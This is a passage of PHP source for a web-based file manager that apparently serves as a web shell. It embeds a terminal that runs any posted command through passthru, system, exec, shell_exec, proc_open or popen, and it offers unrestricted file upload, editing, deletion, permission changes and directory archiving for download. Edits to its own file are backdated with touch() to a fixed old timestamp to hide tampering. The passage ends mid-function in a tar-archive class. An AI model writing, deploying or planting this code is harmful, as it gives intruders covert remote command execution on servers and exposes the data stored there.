<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
